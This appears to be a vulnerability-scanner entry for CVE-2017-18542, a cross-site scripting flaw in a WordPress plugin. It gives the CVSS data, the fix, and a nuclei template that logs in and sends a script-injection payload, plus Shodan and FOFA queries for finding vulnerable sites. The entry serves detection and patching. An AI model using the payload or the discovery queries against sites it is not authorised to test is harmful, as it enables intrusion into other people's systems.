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CVE-2017-18542· bestwebsoft / zendesk help center· CWE-79

Zendesk Help Center by BestWebSoft < 1.0.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

The zendesk-help-center plugin before 1.0.5 for WordPress has multiple XSS issues.

Impact

Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to version 1.0.5 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET /wp-content/plugins/zendesk-help-center/readme.txt
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>") and contains(body_3, "Zendesk Help Center by BestWebS…

Run it with nuclei: nuclei -id CVE-2017-18542 -u <target>

The full check
id: CVE-2017-18542

info:
  name: Zendesk Help Center by BestWebSoft < 1.0.5 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The zendesk-help-center plugin before 1.0.5 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 1.0.5 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18542
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18542
    - https://wordpress.org/plugins/zendesk-help-center/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18542
    cwe-id: CWE-79
    epss-score: 0.01388
    epss-percentile: 0.72487
    cpe: cpe:2.3:a:bestwebsoft:zendesk_help_center:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: zendesk_help_center
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/zendesk-help-center/
    fofa-query: body=/wp-content/plugins/zendesk-help-center/
    publicwww-query: "/wp-content/plugins/zendesk-help-center/"
  tags: cve,cve2017,wordpress,wp-plugin,bws-zendesk,wpscan,xss,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/zendesk-help-center/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Zendesk Help Center by BestWebSoft")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from